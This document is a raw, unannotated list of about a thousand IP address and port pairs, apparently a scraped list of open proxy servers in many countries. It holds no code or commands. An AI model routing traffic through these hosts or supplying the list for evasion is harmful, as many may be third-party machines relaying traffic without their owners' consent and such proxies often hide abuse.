185.108.141.74:8080 185.108.141.19:8080 185.189.199.75:23500 185.242.168.118:8080 195.238.85.215:50948 109.199.133.161:23500 109.120.220.52:44517 195.234.87.211:53281 193.151.80.1:8080 193.68.19.34:40377 213.226.11.149:41878 212.95.180.50:53281 62.176.126.67:35830 46.10.241.140:53281 83.228.74.251:50800 46.229.206.135:39083 94.236.198.183:41258 95.158.153.69:49753 78.130.246.44:61469 78.130.145.167:36180 158.58.197.227:51481 193.68.11.205:3128 87.121.77.202:31337 92.247.2.26:21231 92.247.148.126:8080 92.247.151.174:59284 93.152.176.241:54136 93.152.176.225:54136 62.176.126.66:35830 92.247.93.142:58671 93.152.176.249:54136 46.35.184.187:61003 46.10.240.62:34621 91.92.10.112:8080 92.247.127.114:61218 92.247.142.14:53281 46.55.161.162:40365 94.236.198.160:33822 151.237.126.34:33695 77.238.79.111:8080 77.85.169.51:36385 84.242.188.162:38182 85.187.245.97:53281 94.236.200.152:8080 95.158.153.57:49753 95.87.14.245:41258 178.169.196.87:48834 95.87.14.3:34731 95.87.14.47:45522 178.217.91.137:53281 77.70.115.103:8080 151.237.84.115:8080 213.222.34.200:53281 5.32.131.98:53792 62.182.114.164:60476 77.78.21.34:8080 77.85.169.149:8080 85.187.17.39:53281 85.196.147.146:55262 103.21.150.184:3128 113.160.218.14:50670 113.161.71.223:8888 103.35.64.12:3128 115.79.24.188:38702 113.161.64.4:8080 113.160.206.37:61237 113.164.79.177:46281 113.166.127.60:8080 113.175.22.92:8080 113.161.68.146:8080 119.17.216.8:3128 117.2.121.203:8080 117.2.17.26:53281 113.160.234.147:56570 115.75.2.213:38351 117.6.161.118:53281 117.7.230.113:443 117.4.243.172:49350 117.4.247.218:3128 221.121.12.238:36077 117.4.107.199:53531 117.7.230.113:8080 202.151.160.14:3128 118.70.12.171:53281 27.72.61.48:48455 117.4.145.16:51487 203.113.152.195:3128 27.72.72.48:60131 125.212.193.24:3128 27.2.7.59:52148 27.68.135.14:30199 27.72.56.206:57028 27.72.29.159:8080 45.117.82.93:3128 118.70.144.77:3128 14.171.203.104:8080 14.232.245.245:8080 123.27.3.246:32259 27.72.244.228:8080 27.72.75.227:8080 14.248.83.218:8080 14.249.167.200:8080 42.115.221.58:3128 180.93.15.185:8080 180.148.4.194:8080 14.162.146.128:40080 113.172.220.167:8080 222.252.25.168:8080 113.176.88.10:46281 14.232.245.221:8080 27.72.98.89:8080 182.176.228.147:57472 182.176.95.147:8080 103.100.188.51:8080 103.105.209.26:8080 103.73.102.154:80 182.191.84.39:80 103.73.102.114:8080 103.73.102.130:8080 103.73.102.154:3128 202.143.121.245:8080 110.39.174.58:8080 110.36.228.168:8080 110.37.218.82:8080 103.86.135.42:8080 202.141.248.130:8080 116.90.122.3:8080 116.58.37.180:80 110.38.8.51:8080 110.39.52.10:59287 116.71.132.53:8080 202.141.250.25:8080 118.103.233.103:8080 121.52.149.219:8080 202.166.160.106:8080 116.90.122.3:80 203.130.18.122:50136 202.141.230.10:8080 125.209.116.182:31653 125.209.123.186:8080 202.166.165.18:8080 203.215.181.219:56543 125.209.126.18:8080 42.201.183.155:8080 42.201.253.200:8080 125.209.115.186:8080 203.124.47.98:63141 125.209.99.14:33472 125.209.116.154:52723 125.209.116.234:39301 125.209.78.118:8080 125.209.91.10:8080 39.50.172.241:8080 202.142.158.114:8080 58.65.128.234:35614 125.209.123.187:8080 125.209.82.78:35087 103.20.132.160:3128 203.170.69.234:8080 110.39.244.166:8080 103.1.94.213:53281 182.93.80.28:8080 182.93.85.222:52602 182.93.95.146:8080 103.127.49.14:8080 103.235.199.9:52418 103.28.86.241:61954 103.235.199.46:31611 103.98.128.51:8080 202.63.242.226:50325 110.44.117.26:43922 110.44.122.85:8080 202.166.207.218:56576 202.51.90.44:8080 110.44.122.198:8080 202.79.34.149:47215 202.166.211.143:40581 202.166.216.249:23500 202.166.196.28:50153 202.166.205.78:58431 124.41.211.153:47411 202.166.207.58:58927 116.90.229.186:51436 202.79.46.153:42992 202.166.202.29:58794 202.166.207.109:8080 202.79.43.76:41734 124.41.213.44:53931 202.79.43.139:8080 124.41.211.40:54424 124.41.214.57:38374 124.41.211.180:37954 139.5.71.126:23500 139.5.71.70:23500 124.41.213.211:30626 124.41.217.210:80 124.41.243.72:44716 139.5.68.98:80 139.5.73.11:8080 139.5.71.46:23500 202.63.242.20:56610 202.79.56.90:23500 118.91.175.210:8080 124.41.240.171:35455 139.5.71.94:23500 49.236.212.3:8080 49.236.212.2:8080 116.66.197.228:8080 109.122.80.234:44556 188.255.242.181:6666 188.255.242.253:6666 188.255.242.109:6666 109.111.235.86:8888 109.245.215.255:53281 188.255.187.226:8080 188.255.242.118:6666 188.255.242.17:6666 109.111.225.90:6666 109.111.225.97:6666 109.111.243.194:6666 109.245.215.252:53281 195.178.56.33:8080 195.178.56.35:8080 212.200.113.189:8080 217.17.98.93:45838 24.135.62.176:32231 212.200.27.134:8080 84.22.61.46:53281 87.116.134.107:35695 147.91.111.133:37979 79.175.107.227:8888 91.143.218.146:3128 93.87.5.70:37641 93.87.66.66:46094 147.91.111.132:37979 91.150.77.58:54037 80.74.164.118:8888 178.253.249.200:8080 178.79.24.36:8080 84.22.46.161:8080 84.22.59.149:8080 91.150.77.57:54037 92.42.250.41:8888 89.216.48.230:44061 93.87.17.1:53281 178.237.208.78:37653 85.222.191.222:36337 178.222.249.230:41493 178.254.159.93:6666 217.169.209.237:8080 82.117.215.14:8088 82.117.215.14:80 93.87.28.158:53281 178.254.155.6:6666 93.87.82.222:3128 185.122.44.218:47153 185.132.228.118:55583 185.123.233.213:8080 185.49.248.44:8000 185.203.174.154:8080 185.172.201.17:41258 109.70.202.137:41258 109.239.255.33:8888 109.70.201.2:53517 2.58.185.25:8080 2.38.152.84:3128 217.61.123.198:3128 212.66.127.242:41258 2.230.19.211:8081 31.187.106.52:30889 212.43.123.18:41258 78.134.10.76:8080 46.20.93.83:41258 85.43.127.116:80 93.88.107.125:34626 80.211.45.251:3128 80.211.72.187:8080 195.206.4.16:31154 80.211.135.240:8080 80.211.72.187:3128 85.47.31.179:3128 88.147.125.243:58818 92.245.161.204:53281 92.245.174.78:41258 93.145.17.218:8080 176.57.126.14:33200 95.142.219.181:56379 95.87.127.48:59969 212.237.30.203:3128 88.147.17.60:47067 95.141.36.112:8686 151.22.181.253:8080 78.134.48.21:8080 80.211.31.121:8000 80.211.31.121:8080 93.46.40.180:3128 80.211.135.240:3128 80.211.31.121:80 93.39.112.233:43417 104.40.177.48:80 206.54.170.140:4433 206.189.104.103:8888 128.199.54.60:3128 37.139.11.197:3128 13.93.28.51:8080 52.157.215.147:3128 37.58.83.234:8080 52.157.95.234:80 89.38.98.31:3128 52.142.235.16:8080 89.105.202.97:8080 142.93.130.169:8118 83.167.203.174:54450 167.99.19.129:16516 84.243.236.201:8080 52.157.177.105:80 95.179.147.158:3128 167.71.2.77:8080 37.58.83.235:8080 178.128.243.130:8080 206.54.170.130:4433 206.54.170.134:4433 178.62.234.232:8888 89.105.202.78:8888 52.157.215.67:3128 95.97.134.86:3128 178.62.246.248:8080 13.95.132.65:8888 178.62.244.192:8080 178.62.254.252:8118 206.189.106.149:8080 206.189.111.72:3128 206.189.103.97:3128 206.189.111.57:3128 217.23.6.40:3128 217.23.6.40:8080 82.196.11.105:3128 82.196.11.105:8080 85.147.153.34:80 95.179.150.131:8080 95.211.89.6:8118 78.141.221.213:3128 185.44.232.30:53281 109.167.113.9:40376 195.77.80.154:42402 195.55.108.26:3128 217.125.69.234:443 37.135.51.140:53281 37.230.74.54:8080 213.98.67.40:57323 212.230.130.221:49698 213.0.12.138:3128 213.140.51.146:3128 37.10.76.68:8080 37.134.233.4:80 213.96.245.47:8080 46.24.85.74:37745 46.39.193.71:8080 85.217.137.77:3128 85.62.10.84:8080 88.26.52.85:8080 79.148.109.200:3128 80.28.7.3:50866 80.29.68.242:8080 83.53.165.252:8080 84.124.28.56:48694 80.24.113.181:4145 85.62.10.82:8080 80.28.102.26:8080 89.140.125.17:80 83.37.254.67:8080 91.151.106.127:53281 80.32.122.118:60971 95.60.255.37:3128 85.62.10.89:8080 62.99.53.95:32654 83.61.3.222:3128 85.62.10.83:8080 62.99.68.79:31094 87.124.164.34:31668 79.147.142.186:8080 80.28.243.202:48606 81.33.4.214:61711 197.210.143.182:36496 197.210.187.46:45753 105.112.84.137:8080 196.43.235.193:53281 196.43.235.30:53281 197.210.129.142:80 197.255.60.142:3128 105.112.83.35:55102 197.157.219.9:51239 197.210.217.66:51570 105.112.8.53:3128 197.210.134.66:8080 197.149.125.50:45224 197.210.153.126:58253 197.211.45.4:10000 105.235.201.234:54217 197.210.186.38:59697 197.211.39.7:43003 41.216.163.46:8888 41.73.15.134:8080 41.73.15.134:80 41.76.196.230:8080 41.73.15.246:8080 41.73.15.130:8080 41.204.242.98:44435 41.76.155.134:8080 154.118.52.216:39596 154.118.52.242:33767 155.93.108.170:59829 41.203.75.194:8080 41.73.15.130:80 45.195.5.9:8080 41.207.251.194:8080 41.73.15.246:80 41.78.82.180:8080 154.113.69.154:8080 154.113.98.235:80 41.242.57.34:38783 129.56.32.187:8080 41.76.196.210:8080 1.65.215.112:8080 103.195.6.195:8080 104.250.34.179:80 124.156.108.71:82 202.85.52.151:80 202.60.225.49:59024 203.90.241.230:8080 43.255.118.203:3128 47.89.37.177:3128 47.91.218.212:8080 47.90.28.54:8888 47.75.90.57:80 47.90.83.213:8888 59.149.159.230:8888 123.1.170.138:3128 150.109.55.190:83 159.138.22.112:80 159.138.21.170:80 223.16.229.241:8080 13.70.40.103:8080 159.138.1.185:80 159.138.20.247:80 168.70.26.227:8380 43.255.118.175:3128 42.3.80.81:8080 43.255.118.174:3128 47.52.231.140:8080 58.82.214.233:8888 159.138.3.119:80 168.70.26.227:8197 43.255.118.176:3128 59.188.136.230:1080 159.138.5.222:80 159.138.9.109:3128 103.195.6.144:3128 23.101.2.247:8118 47.75.14.39:80 185.184.196.251:8080 185.255.46.171:8080 185.143.43.34:8080 185.14.248.98:8080 185.184.196.188:8080 185.138.123.78:55630 185.14.250.204:58185 185.136.150.201:54597 185.255.47.115:8080 185.42.192.69:8080 185.14.250.168:53281 109.224.1.210:50617 185.255.46.57:8080 188.72.9.93:8080 109.224.22.29:8080 185.184.196.243:8080 194.127.111.218:9991 188.72.6.98:57778 188.72.9.92:8080 194.127.111.206:8080 212.126.107.2:31475 213.32.252.120:45728 37.98.227.70:8080 62.201.210.134:43943 62.201.210.134:8888 5.8.240.6:54322 92.119.61.178:8080 176.241.89.36:38170 95.170.208.42:8080 91.192.4.29:8080 62.201.238.30:8080 176.241.94.84:61609 62.201.221.93:8080 62.201.217.194:8080 91.192.4.27:8080 185.255.46.100:30678 62.201.228.138:8080 195.171.27.244:3128 217.61.23.111:8080 217.61.23.111:80 217.61.23.111:3128 35.177.190.183:80 79.78.184.12:56834 62.252.140.210:8080 51.140.93.215:3128 51.140.98.229:3128 188.227.174.129:8080 206.189.118.179:8080 159.65.25.109:3128 81.92.202.192:80 51.140.28.67:3128 51.38.71.101:8080 167.71.142.245:8080 176.35.250.108:8080 178.32.59.233:53281 18.130.127.173:8080 165.22.123.198:8080 51.89.229.55:8080 167.71.131.143:8080 95.179.230.135:30085 91.194.42.51:80 94.177.255.8:80 95.179.232.55:31086 95.210.2.206:56790 51.143.128.236:3128 95.179.199.155:8080 51.89.228.17:8080 51.89.229.233:8080 94.177.255.8:8080 206.189.30.235:80 51.77.111.117:80 103.105.212.106:53281 103.67.165.62:8080 103.6.104.105:38898 114.108.254.59:8080 202.57.49.146:58597 112.198.31.130:8080 120.29.124.131:8080 122.2.37.38:61167 122.55.250.90:8080 202.57.35.74:37211 202.57.47.202:43615 202.57.39.134:46227 202.57.55.242:33057 203.160.168.170:8080 210.1.82.194:8080 119.93.152.192:49889 202.57.52.18:57126 119.93.235.205:41731 203.177.1.82:80 112.199.76.119:80 203.177.1.82:8080 203.177.133.148:47153 152.32.69.29:8080 124.105.29.184:3128 210.4.120.246:8080 116.50.169.189:80 202.84.127.1:3128 180.232.77.107:37686 58.69.215.187:8080 180.232.123.251:3128 121.58.246.247:8080 124.6.140.66:8080 183.181.20.62:80 20.43.76.112:8080 118.27.14.36:3128 118.27.19.72:8080 118.27.7.206:8080 118.27.14.36:1080 118.27.19.72:1080 122.152.138.139:8118 124.219.176.139:39589 207.148.96.64:3128 219.94.245.97:55555 61.118.35.94:55725 45.77.13.228:8080 52.197.202.209:3128 140.227.230.89:60088 167.179.66.179:3128 167.179.71.192:3128 167.179.118.51:3128 172.104.64.247:3128 210.153.159.232:8080 47.74.38.43:8118 180.235.39.9:80 133.167.123.158:3128 167.179.68.251:3128 202.182.121.205:8080 202.182.121.205:3128 207.148.106.222:8080 207.148.113.241:3128 89.31.125.30:80 89.31.125.95:80 157.65.25.99:80 186.103.148.204:3128 186.64.120.183:80 190.196.72.166:32637 186.103.173.189:47414 190.164.140.70:999 186.64.120.183:8080 190.151.94.2:46615 190.160.31.229:8080 186.10.82.22:34441 190.82.82.146:55090 190.54.100.76:8080 200.54.178.147:8080 200.41.94.121:41310 201.217.250.114:80 200.41.94.105:41310 45.160.5.251:8081 45.160.7.67:8081 45.160.5.200:8081 45.160.5.194:8081 45.173.129.68:8080 190.151.94.3:46615 200.111.182.6:443 138.219.228.85:8080 164.77.134.13:8080 45.160.7.76:8081 45.160.7.78:8081 45.236.129.240:8080 45.236.129.240:80 179.61.98.34:53281 164.77.175.246:36608 167.250.52.2:8080 1.160.226.157:8888 1.164.248.90:8080 1.34.146.163:30086 106.104.12.180:80 211.21.120.163:8080 118.171.26.26:3128 118.163.55.229:35357 118.171.29.163:3128 118.163.120.181:58837 118.171.27.145:8080 220.143.169.245:3128 220.143.175.136:3128 122.116.232.79:33452 122.117.237.46:59324 220.143.175.166:3128 220.133.57.116:49242 218.161.36.89:52338 59.127.168.43:3128 59.125.31.116:45965 123.195.152.139:59005 220.130.104.96:21231 61.223.65.101:3128 118.171.217.99:3128 220.130.205.58:8080 43.245.223.35:80 60.248.199.206:80 61.220.204.25:3128 118.163.26.248:60636 181.176.161.213:60482 181.176.161.19:8080 181.177.250.221:8080 181.176.187.133:80 190.119.199.18:57333 190.42.189.82:8080 190.81.162.133:53281 190.102.154.131:8080 190.232.49.201:8080 190.116.182.108:8080 190.12.95.170:59735 190.239.234.59:9991 190.233.90.31:8080 200.37.231.66:8080 200.4.218.107:8080 200.60.11.198:999 200.60.79.11:53281 190.102.156.172:8080 190.81.162.134:53281 161.132.198.219:999 200.37.108.34:8080 200.60.11.197:8080 161.132.101.141:35311 161.132.120.69:9991 161.132.198.219:9991 179.43.96.178:8080 200.123.2.171:3128 109.100.138.62:36572 5.2.190.123:60923 86.123.166.109:8080 128.140.225.41:80 89.121.211.242:48614 89.34.202.96:56624 89.165.218.82:47886 5.2.211.232:42755 89.37.56.138:80 46.102.73.244:53281 86.34.158.116:8080 88.158.82.118:8080 89.120.224.154:43498 89.238.255.34:8082 77.36.64.221:3129 79.115.245.227:8080 86.34.197.6:23500 92.87.52.6:31246 95.77.16.197:34669 5.2.164.205:50682 89.37.56.138:8080 89.47.120.66:8080 89.34.208.223:37637 188.27.137.163:30987 86.123.68.126:8080 103.192.192.192:8080 103.100.226.138:8080 118.107.12.33:80 210.79.31.225:8080 115.42.4.109:53281 203.45.16.197:8080 123.50.146.17:8080 139.99.220.52:8080 139.99.223.154:8080 123.50.146.13:8080 146.88.22.88:53281 122.199.33.6:8080 150.242.34.99:53281 210.215.131.178:46314 45.76.114.24:80 139.99.219.243:8080 139.99.222.30:8080 203.196.32.61:45305 180.150.53.35:8080 58.162.229.173:30212 58.96.148.94:8080 125.254.94.1:8080 45.76.118.31:8080 58.96.148.148:8080 185.188.218.10:60928 185.120.36.150:8080 185.33.34.76:42293 213.163.122.194:8080 213.163.122.197:8080 217.21.146.105:8080 213.207.37.214:53281 130.0.25.46:34964 79.106.227.242:8080 80.91.116.233:8080 79.106.224.212:8080 79.106.165.238:57856 79.106.97.77:8080 80.90.88.147:45938 46.99.144.194:8888 130.0.25.179:8081 134.0.63.134:8000 77.242.16.26:53281 77.242.24.64:8080 77.247.89.254:8080 91.210.136.202:8080 77.247.89.252:8080 91.187.113.205:53281 77.247.89.253:8080 193.193.240.37:52358 193.193.240.34:52358 217.196.20.150:8080 212.154.154.222:3128 77.245.101.254:8080 81.18.34.98:42196 95.58.161.180:36256 85.92.121.209:8080 87.247.3.234:57661 92.46.126.55:59086 89.218.11.2:8080 89.40.48.186:8080 92.46.126.51:59086 37.17.182.22:8080 92.46.58.110:48144 37.228.65.107:32052 89.218.5.109:51089 91.135.194.22:36374 95.141.132.138:41732 89.218.5.106:51089 37.17.182.25:8081 37.228.68.27:8080 87.247.19.126:57123 89.218.133.170:30617 1.215.70.130:44072 183.111.25.67:8080 112.168.11.170:808 112.217.199.122:55872 119.192.179.46:45447 219.254.34.231:3128 121.170.201.54:80 222.112.163.10:8888 124.198.76.158:3128 119.192.195.83:8080 211.46.216.76:80 119.192.195.83:443 222.121.116.26:57074 221.141.130.183:33741 61.74.39.177:8080 119.192.195.83:80 203.246.112.133:3128 211.244.224.130:8080 175.125.216.117:8080 121.165.92.44:8080 175.213.132.85:8080 175.213.132.56:8080 211.115.97.136:80 185.189.208.189:61360 185.189.211.70:8080 188.129.161.55:36631 188.227.195.68:8080 188.227.195.70:8080 188.227.195.67:8080 212.72.140.14:38014 134.19.254.2:21231 212.72.159.22:30323 212.72.144.226:59026 5.152.122.150:30260 46.49.121.187:52101 149.3.91.202:3128 85.117.61.186:49929 85.117.62.234:58045 31.146.131.126:8080 31.146.191.162:8080 94.43.142.190:58365 95.104.114.50:57804 95.137.240.3:35632 85.117.62.202:61360 89.232.34.178:8080 31.192.42.150:54438 185.44.231.70:60550 185.44.231.68:60550 185.44.229.227:34930 109.75.47.248:60148 212.73.73.234:8081 212.34.254.34:56484 130.193.124.156:8080 5.63.165.178:40561 130.193.124.184:56955 130.193.124.139:8080 81.16.9.2:42726 130.193.124.174:8080 94.228.18.58:36707 178.213.130.101:52658 212.73.77.200:59763 94.228.21.66:61247 46.130.249.18:49798 81.16.8.177:47341 212.73.69.6:59763 81.16.10.141:38112 185.107.48.14:8080 185.104.252.9:9090 185.107.49.1:8080 185.107.49.29:8080 185.107.49.232:8080 185.107.49.238:8080 185.107.49.4:8080 185.107.49.235:8080 185.107.48.1:8080 185.107.48.238:8080 185.107.48.27:8080 185.107.49.230:8080 185.33.113.202:443 212.28.237.131:32529 212.28.237.132:32529 85.112.76.58:61653 178.135.49.22:3128 85.112.77.211:41258 141.105.89.116:8080 185.173.245.127:35302 185.162.142.81:53281 188.212.28.160:8080 188.138.192.154:47988 217.19.209.253:8080 5.32.175.66:23500 188.138.250.83:59538 92.114.234.206:59073 93.115.138.250:8080 95.65.73.200:30612 93.116.57.4:54838 89.28.53.42:8080 93.117.72.27:55871 95.65.1.200:58768 95.65.27.171:50162 212.56.218.90:53239 178.76.69.132:45014 178.168.19.144:30736 93.116.185.57:31418 183.177.98.6:8080 103.14.36.218:8080 103.9.88.205:8080 103.9.88.206:8080 202.131.234.142:30406 202.21.120.202:8080 202.179.7.158:23500 202.21.124.226:41258 202.131.229.10:8080 202.21.105.115:80 202.21.116.202:56841 124.158.105.58:3128 122.201.23.122:35451 66.181.167.72:53281 202.21.101.130:41219 180.149.96.131:8080 202.179.7.182:61820 43.250.127.98:9001 197.232.36.60:47299 197.220.101.242:44128 197.232.69.137:58338 197.254.108.134:32228 197.254.62.14:41838 197.232.55.224:37010 197.254.38.250:40853 41.139.184.250:8080 41.60.233.176:8080 41.72.203.66:39522 41.89.171.220:8080 41.60.234.146:23500 41.78.26.155:8080 154.79.246.178:34577 41.89.162.8:48044 41.60.232.174:8080 41.60.239.229:8080 41.220.114.154:8080 185.64.18.25:8080 185.234.217.6:3128 185.58.18.150:8888 34.240.231.232:3133 34.240.231.232:3137 34.240.97.171:3137 34.242.111.218:3128 34.244.87.214:3128 34.240.231.232:3135 34.240.231.232:3145 34.240.231.232:3134 137.135.254.0:3128 34.240.231.232:3140 34.240.231.232:3142 40.69.35.132:3128 34.240.97.171:3133 52.18.57.64:8080 197.44.193.82:3128 41.33.22.186:80 41.41.70.190:80 41.41.70.190:8080 41.65.162.68:8080 41.65.181.132:8080 156.202.103.92:8080 154.236.177.108:8080 154.236.177.112:8080 154.236.162.48:8080 154.236.169.170:80 41.65.168.47:8080 41.65.186.102:8080 41.65.198.138:8080 41.65.3.40:8080 154.236.177.122:8080 217.145.199.45:30979 62.169.187.81:8080 46.151.60.99:30428 84.245.103.83:33446 87.197.137.223:55622 80.87.213.111:8080 81.161.61.110:39795 213.160.165.18:8080 85.248.25.41:58503 94.228.85.166:38510 80.87.217.6:8080 176.101.177.209:8080 176.106.186.99:57046 78.41.174.197:8080 80.87.213.45:8080 87.197.156.62:23500 188.6.197.119:39364 195.228.65.108:52378 109.74.61.240:32231 37.220.195.14:53281 79.120.177.106:8080 94.21.118.140:53687 78.92.118.164:8080 91.137.129.21:46309 178.164.216.177:8080 176.63.205.248:30616 91.137.140.89:8082 89.147.80.13:33211 91.83.43.218:8080 213.163.49.223:47779 81.182.195.43:8080 185.183.185.175:8080 185.78.221.113:80 195.46.20.146:21231 195.130.98.30:8080 195.170.15.66:8080 195.170.21.18:3128 85.73.88.171:8080 80.106.247.145:53410 79.129.49.110:45318 46.198.141.82:31870 94.64.83.34:8080 85.74.125.167:8080 94.70.160.38:8080 62.103.74.230:33805 185.25.48.215:55960 46.36.64.194:8080 78.57.227.227:53281 78.57.192.253:41091 89.190.120.116:34850 88.119.54.44:51654 93.93.61.93:53281 94.232.126.225:32836 5.20.196.90:8080 78.60.130.181:33861 91.233.176.117:3128 78.62.214.242:60678 82.135.148.201:8081 86.100.72.118:31121 186.96.73.169:999 190.8.169.206:8080 186.89.6.242:8080 190.202.24.66:3128 186.93.165.232:8080 190.205.98.150:53078 186.88.38.114:8080 200.71.188.67:3128 190.216.230.142:8080 190.217.1.115:9991 190.205.56.138:3128 201.249.180.234:3128 200.71.188.67:8080 190.202.22.129:3128 195.123.212.199:48213 194.19.244.94:3128 195.13.201.98:30716 213.100.168.84:39351 217.195.59.22:41447 212.3.208.249:56956 212.3.210.61:51895 212.93.117.100:8080 159.148.3.177:8080 87.226.37.80:60505 87.99.93.101:43944 81.198.119.241:41770 87.99.93.100:43944 80.90.25.160:40945 213.6.229.238:36127 213.6.87.158:53879 217.78.61.148:33875 213.6.65.30:8080 212.14.243.66:49300 5.133.24.121:8888 5.133.24.117:8080 5.133.27.61:3129 213.6.45.18:53974 213.6.199.94:49874 213.6.227.38:50385 213.6.101.174:23500 213.6.77.118:8080 45.130.96.67:8080 181.115.168.45:32734 181.115.168.3:53253 181.115.168.69:49076 181.188.166.82:8080 181.188.167.142:8080 190.186.89.150:35759 200.105.157.218:53281 190.186.1.46:61209 190.186.59.22:52335 200.105.215.18:33630 200.105.209.118:443 179.60.127.45:61163 190.186.58.210:65301 181.115.38.146:8080 181.189.235.134:34841 190.5.71.186:8080 190.124.160.194:8080 190.92.5.158:53281 190.185.114.93:8080 131.161.55.145:47997 138.0.229.209:33611 45.238.141.11:999 45.7.238.250:42378 138.0.230.49:63141 190.5.85.242:8080 168.228.192.13:55619 186.151.31.54:59819 190.122.186.224:8080 190.149.216.146:47463 190.4.31.37:8080 186.151.5.123:47738 190.122.186.232:8080 190.149.165.162:51489 190.56.24.78:61131 190.122.186.203:8080 190.149.216.74:51363 190.122.186.230:8080 190.149.165.150:50806 143.208.58.233:8080 102.68.130.162:8080 62.240.41.197:8080 62.240.54.86:8080 41.254.42.2:9999 165.16.96.123:8080 41.254.41.203:8080 41.254.46.117:8080 41.254.41.94:8080 41.254.44.202:9999 154.73.109.84:53281 165.16.3.54:53281 165.16.46.193:8080 165.16.96.124:8080 1.32.59.217:37402 1.9.216.226:36051 1.9.71.2:8080 182.54.207.74:58047 121.120.241.12:61786 121.120.241.11:61786 43.240.20.81:8080 121.120.241.8:61786 175.139.179.65:49031 103.10.159.126:80 211.24.105.248:48305 219.94.67.171:8080 34.92.33.150:80 35.205.197.238:3128 35.205.197.238:8080 35.228.247.28:8080 34.92.197.197:80 35.197.156.52:8000 35.198.203.87:3128 45.184.68.32:8080 34.92.36.197:80 35.195.178.217:8080 35.198.240.78:3128 35.240.29.77:8080 185.20.115.114:57236 80.94.229.172:3128 86.57.177.8:31022 86.57.219.185:23500 37.215.90.178:8080 86.57.181.122:45510 213.184.224.156:3128 80.249.80.6:3128 86.57.179.4:8080 86.57.219.178:23500 80.249.82.44:32004 103.101.17.171:8080 103.29.90.134:8080 103.81.114.182:53281 103.42.218.94:8080 103.217.156.9:8080 203.81.91.80:8080 74.50.211.86:49841 203.81.75.37:8080 37.111.42.210:8080 136.228.160.250:8080 185.151.151.166:3128 185.151.151.190:3128 82.137.244.151:8080 82.137.255.50:8080 91.144.20.192:8080 82.137.244.73:8080 82.137.244.23:8080 82.137.244.74:8080 82.137.255.109:8080 91.144.20.22:8080 151.253.92.173:8080 151.253.158.19:8080 151.253.158.20:8080 151.253.158.18:8080 151.253.92.172:8080 87.200.50.20:8080 151.253.158.10:8080 94.206.19.242:53624 94.200.195.218:8080 151.253.165.70:8080 190.104.179.210:8080 190.104.142.78:8080 190.128.234.22:51507 190.104.143.190:8080 190.128.203.214:3128 190.23.254.73:8080 131.196.192.31:36213 143.255.142.80:8080 45.235.120.65:8080 212.42.103.12:8080 212.42.113.240:36910 212.112.123.15:61955 213.145.137.102:39364 31.192.249.214:53281 92.245.114.118:35866 91.205.51.27:30665 92.245.104.154:38295 92.245.106.242:42464 41.190.95.20:56167 41.217.219.53:41685 41.87.29.130:8080 41.217.219.57:52991 154.66.122.90:35882 41.217.219.49:49066 41.217.216.45:33602 41.217.216.17:39665 154.66.125.18:8080 186.15.49.12:8080 190.211.115.66:50903 186.15.233.218:45999 143.137.148.18:57646 168.228.51.87:8080 143.137.149.21:57646 168.228.51.197:42316 170.81.35.26:36681 190.94.3.163:8080 190.122.97.138:52622 148.255.67.203:8080 148.255.121.53:999 148.255.68.184:999 152.0.36.104:8080 148.255.126.129:8080 200.88.117.69:8080 185.110.136.23:31532 62.99.178.46:54838 212.17.117.217:80 85.238.167.170:40008 37.186.6.25:38310 178.188.67.190:8080 80.109.19.51:3128 81.223.122.78:52661 102.176.160.70:61279 102.176.160.109:8080 102.176.160.84:8080 102.176.160.29:40843 102.176.160.75:60857 160.119.128.202:8080 160.119.131.114:41027 196.0.109.146:52093 196.0.111.186:60053 154.72.199.38:32954 196.0.24.242:80 45.221.77.82:8080 154.72.202.62:53281 41.210.161.114:80 197.220.193.6:8080 197.220.193.201:8080 41.60.216.191:8080 41.63.0.41:8888 197.220.193.49:8080 41.60.220.28:8080 155.0.181.254:46555 185.146.113.157:8080 213.154.20.240:34124 94.20.62.189:3128 91.135.242.10:8080 149.255.154.62:8080 94.20.21.37:3128 185.69.28.213:8080 185.50.56.230:32231 87.250.109.174:8080 81.93.73.28:8081 93.157.196.90:43728 94.250.16.1:8080 196.41.47.94:8080 41.59.200.33:8080 154.73.66.38:8080 154.72.73.218:8080 155.12.61.203:80 41.93.47.2:61684 212.92.204.54:8080 31.147.227.19:48925 77.237.121.19:8080 77.237.121.22:8080 92.242.240.34:53035 95.168.96.42:34273 197.159.12.167:30407 197.159.0.214:60051 41.211.116.134:54020 41.92.186.156:61057 41.204.87.90:8080 41.205.16.163:8080 103.110.110.38:3129 103.110.109.52:3129 103.110.109.129:3129 202.1.197.227:80 103.110.109.107:3129 188.93.238.17:59355 5.206.230.62:59355 148.69.95.42:44516 88.157.176.94:44091 185.37.211.222:50330 185.89.0.97:34927 185.89.3.241:34927 77.106.179.42:39655 84.214.150.146:8080 109.235.102.30:80 103.53.27.1:8080 45.126.253.205:8080 149.54.10.226:8080 180.94.64.114:8080 58.147.148.190:8080 192.254.98.70:8888 72.50.13.18:9999 139.60.176.62:53281 74.85.157.198:8080 74.85.157.226:8080 197.159.136.102:36471 197.221.89.70:8080 197.221.85.214:8080 41.139.9.47:8080 154.160.65.227:8080 193.138.50.7:44921 77.38.21.239:8080 77.38.64.116:35202 193.95.228.13:53281 46.248.82.123:51989 197.211.245.50:53281 196.27.112.190:37060 41.190.33.162:8080 196.27.108.175:53281 197.211.238.220:54675 217.162.74.172:80 179.43.174.151:3128 77.58.96.177:80 80.75.117.4:8888 77.73.241.154:80 41.85.189.66:57797 41.86.251.59:8080 41.86.254.5:8080 154.127.32.245:60020 164.160.141.6:57103 62.162.169.131:8080 62.162.228.66:32626 77.28.96.206:56644 95.180.167.208:30627 89.185.204.188:57914 183.182.101.32:33905 115.84.99.82:8080 202.137.134.39:8080 202.137.142.129:8080 196.20.12.1:8080 197.188.222.163:61636 196.20.12.21:8080 160.242.17.178:45218 188.52.37.67:8080 91.147.185.2:43410 178.80.53.168:8080 51.211.183.25:80 191.98.198.45:40363 200.46.103.162:46251 170.247.152.163:42327 170.247.152.132:43747 129.205.201.27:38723 129.205.210.90:65205 41.223.143.78:8080 129.205.201.239:8080 217.119.171.126:36090 84.217.82.227:60702 85.30.48.222:30228 31.216.32.147:3128 102.141.197.17:8080 102.68.17.96:8080 41.79.197.150:8080 102.129.72.18:8080 197.149.138.202:8080 197.157.255.38:8080 186.1.18.208:8080 170.246.152.106:56838 208.96.137.130:53991 195.39.130.67:8080 195.226.249.83:8080 62.150.73.67:8080 196.3.97.71:23500 196.3.97.86:23500 41.223.155.118:53281 193.194.76.4:80 193.194.85.85:80 95.168.185.183:8080 195.158.11.134:8080 195.158.30.34:80 213.230.99.222:8080 212.25.123.18:8888 81.218.45.245:8080 